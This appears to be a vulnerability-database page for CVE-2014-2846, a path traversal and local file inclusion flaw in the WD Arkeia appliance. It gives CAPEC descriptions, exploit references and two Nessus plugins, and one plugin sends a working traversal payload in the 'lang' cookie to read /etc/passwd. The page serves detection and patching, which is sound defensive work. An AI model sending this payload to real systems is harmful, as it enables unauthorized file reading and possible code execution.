Vulnerabilities > CVE-2014-2846 - Path Traversal vulnerability in Westerndigital Arkeia Virtual Appliance Firmware 10.2.7

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
westerndigital
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in opt/arkeia/wui/htdocs/index.php in the WD Arkeia virtual appliance (AVA) with firmware before 10.2.9 allows remote attackers to read arbitrary files and execute arbitrary PHP code via a ..././ (dot dot dot slash dot slash) in the lang Cookie parameter, as demonstrated by a request to login/doLogin.

Vulnerable Configurations

Part Description Count
OS
Westerndigital
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionWD Arkeia Virtual Appliance 10.2.9 - Local File Inclusion. CVE-2014-2846. Webapps exploit for php platform
idEDB-ID:33005
last seen2016-02-03
modified2014-04-24
published2014-04-24
reporterSEC Consult
sourcehttps://www.exploit-db.com/download/33005/
titleWD Arkeia Virtual Appliance 10.2.9 - Local File Inclusion

Nessus

  • NASL familyCGI abuses
    NASL idWD_ARKEIA_10_1_19_VER_CHECK.NASL
    descriptionThe self-reported version of the remote Western Digital Arkeia device is prior to 10.1.19 / 10.2.9. It is, therefore, potentially affected by the following vulnerabilities : - An out-of-bounds read error, known as the
    last seen2020-06-01
    modified2020-06-02
    plugin id74262
    published2014-06-02
    reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/74262
    titleWestern Digital Arkeia 10.1.x < 10.1.19 / 10.2.x < 10.2.9 Multiple Vulnerabilities (Heartbleed)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(74262);
      script_version("1.6");
      script_cvs_date("Date: 2019/11/26");
    
      script_cve_id("CVE-2014-0160", "CVE-2014-2846");
      script_bugtraq_id(66690, 67039);
      script_xref(name:"CERT", value:"720951");
      script_xref(name:"EDB-ID", value:"32745");
      script_xref(name:"EDB-ID", value:"32764");
      script_xref(name:"EDB-ID", value:"32791");
      script_xref(name:"EDB-ID", value:"32998");
      script_xref(name:"EDB-ID", value:"33005");
    
      script_name(english:"Western Digital Arkeia 10.1.x < 10.1.19 / 10.2.x < 10.2.9 Multiple Vulnerabilities (Heartbleed)");
      script_summary(english:"Checks version of Western Digital Arkeia.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server hosts a virtual appliance that is affected by
    multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The self-reported version of the remote Western Digital Arkeia device
    is prior to 10.1.19 / 10.2.9. It is, therefore, potentially affected
    by the following vulnerabilities :
    
     - An out-of-bounds read error, known as the 'Heartbleed
       Bug', exists related to handling TLS heartbeat
       extensions that could allow an attacker to obtain
       sensitive information such as primary key material,
       secondary key material, and other protected content.
       (CVE-2014-0160)
    
     - A local file inclusion vulnerability exists. A remote,
       unauthenticated attacker can exploit this issue to read
       or execute arbitrary files by crafting a request with
       directory traversal sequences in the 'lang' HTTP cookie.
       (CVE-2014-2846)");
      # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140423-0_WD_Arkeia_Path_Traversal_v10.txt
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?67b88cb2");
      script_set_attribute(attribute:"see_also", value:"http://wiki.arkeia.com/index.php/Path_Traversal_Remote_Code_Execution");
      script_set_attribute(attribute:"see_also", value:"http://www.wdc.com/en/heartbleedupdate/");
      # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.1/documentation/CHANGES-10.1.19
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b286eb09");
      # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.2/documentation/CHANGES-10.2.9
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c1883b");
      script_set_attribute(attribute:"see_also", value:"http://www.heartbleed.com");
      script_set_attribute(attribute:"see_also", value:"https://eprint.iacr.org/2014/140");
      script_set_attribute(attribute:"see_also", value:"https://www.openssl.org/news/vulnerabilities.html#2014-0160");
      script_set_attribute(attribute:"see_also", value:"https://www.openssl.org/news/secadv/20140407.txt");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to version 10.1.19 / 10.2.9 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-2846");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"in_the_news", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/02/24");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/04/14");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/02");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:wdc:arkeia_virtual_appliance");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("wd_arkeia_detect.nbin");
      script_require_keys("www/PHP", "www/wd_arkeia");
      script_require_ports("Services/www", 80, 443);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    port = get_http_port(default:80, php:TRUE, embedded:TRUE);
    
    app = "Western Digital Arkeia";
    
    install = get_install_from_kb(
      appname      : "wd_arkeia",
      port         : port,
      exit_on_fail : TRUE
    );
    dir = install["dir"];
    version = install["ver"];
    install_url = build_url(qs:dir, port:port);
    
    if (version == UNKNOWN_VER) audit(AUDIT_UNKNOWN_WEB_APP_VER, app, install_url);
    
    ver = split(version, sep:".", keep:FALSE);
    for (i=0; i<max_index(ver); i++)
      ver[i] = int(ver[i]);
    
    # Versions < 10.1.19 / 10.2.9 are affected
    if (
      (ver[0] < 10) ||
      (ver[0] == 10 && ver[1] < 1) ||
      (ver[0] == 10 && ver[1] == 1 && ver[2] < 19) ||
      (ver[0] == 10 && ver[1] == 2 && ver[2] < 9)
    )
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  URL               : ' + install_url +
          '\n  Installed version : ' + version +
          '\n  Fixed version     : 10.1.19 / 10.2.9' +
          '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url, version);
    
  • NASL familyCGI abuses
    NASL idWD_ARKEIA_10_2_9_COOKIE_LFI.NASL
    descriptionThe remote Western Digital Arkeia device hosts a PHP script that is affected by a local file inclusion vulnerability. A remote, unauthenticated attacker can exploit this issue to read or execute arbitrary files by crafting a request with directory traversal sequences in the
    last seen2020-03-18
    modified2014-05-28
    plugin id74221
    published2014-05-28
    reporterThis script is Copyright (C) 2014-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/74221
    titleWestern Digital Arkeia lang Cookie Crafted Local File Inclusion
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(74221);
      script_version("1.7");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/02/26");
    
      script_cve_id("CVE-2014-2846");
      script_bugtraq_id(67039);
      script_xref(name:"EDB-ID", value:"33005");
    
      script_name(english:"Western Digital Arkeia lang Cookie Crafted Local File Inclusion");
      script_summary(english:"Tries to read a local file");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server hosts a PHP script that is affected by a local
    file inclusion vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote Western Digital Arkeia device hosts a PHP script that is
    affected by a local file inclusion vulnerability. A remote,
    unauthenticated attacker can exploit this issue to read or execute
    arbitrary files by crafting a request with directory traversal
    sequences in the 'lang' cookie.");
      # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140423-0_WD_Arkeia_Path_Traversal_v10.txt
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?67b88cb2");
      script_set_attribute(attribute:"see_also", value:"http://wiki.arkeia.com/index.php/Path_Traversal_Remote_Code_Execution");
      # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.2/documentation/CHANGES-10.2.9
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c1883b");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to version 10.2.9 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-2846");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/04/23");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/04/14");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/05/28");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:wdc:arkeia_virtual_appliance");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2014-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("wd_arkeia_detect.nbin");
      script_require_keys("www/PHP", "www/wd_arkeia");
      script_require_ports("Services/www", 80, 443);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, php:TRUE, embedded:TRUE);
    
    install = get_install_from_kb(
      appname      : "wd_arkeia",
      port         : port,
      exit_on_fail : TRUE
    );
    dir = install["dir"];
    
    app = "Western Digital Arkeia";
    file = "/etc/passwd";
    file_pat = "root:.*:0:[01]:";
    
    vuln = FALSE;
    clear_cookiejar();
    cookie = "lang=nessus..././..././..././..././..././.../."+file+"%00";
    
    user = rand_str();
    pass = rand_str();
    
    res = http_send_recv3(
      method : "POST",
      port   : port,
      item   : dir + "/login/doLogin",
      data   : "password="+pass+"&username="+user,
      add_headers  : make_array("Cookie", cookie),
      content_type : "application/x-www-form-urlencoded",
      exit_on_fail : TRUE
    );
    if (egrep(pattern:file_pat, string:res[2])) vuln = TRUE;
    
    if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));
    
    report = NULL;
    attach_file = NULL;
    output = NULL;
    req = http_last_sent_request();
    request = NULL;
    
    if (report_verbosity > 0)
    {
      report =
        '\n' + 'Nessus was able to exploit the issue to retrieve the contents of ' +
        '\n' + "'" + file + "'" + ' using the following request :' +
        '\n' +
        '\n' + req +
        '\n';
    
      if (report_verbosity > 1)
      {
        # Filtering for output to remove auth error from report output
        output = res[2];
        pos = stridx(output, '{"local');
        if (pos > 0)
        {
          output = substr(output, 0, pos - 1);
        }
    
        output = data_protection::redact_etc_passwd(output:output);
        attach_file = file;
        request = make_list(req);
    
      }
    }
    
    security_report_v4(port:port,
                       extra:report,
                       severity:SECURITY_HOLE,
                       request:request,
                       file:attach_file,
                       output:output);
    
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/126286/SA-20140423-0.txt
idPACKETSTORM:126286
last seen2016-12-05
published2014-04-23
reporterM. Lucinskij
sourcehttps://packetstormsecurity.com/files/126286/WD-Arkeia-Virtual-Appliance-Directory-Traversal-Command-Execution.html
titleWD Arkeia Virtual Appliance Directory Traversal / Command Execution

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:86262
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-86262
titleWD Arkeia Virtual Appliance 10.2.9 - Local File Inclusion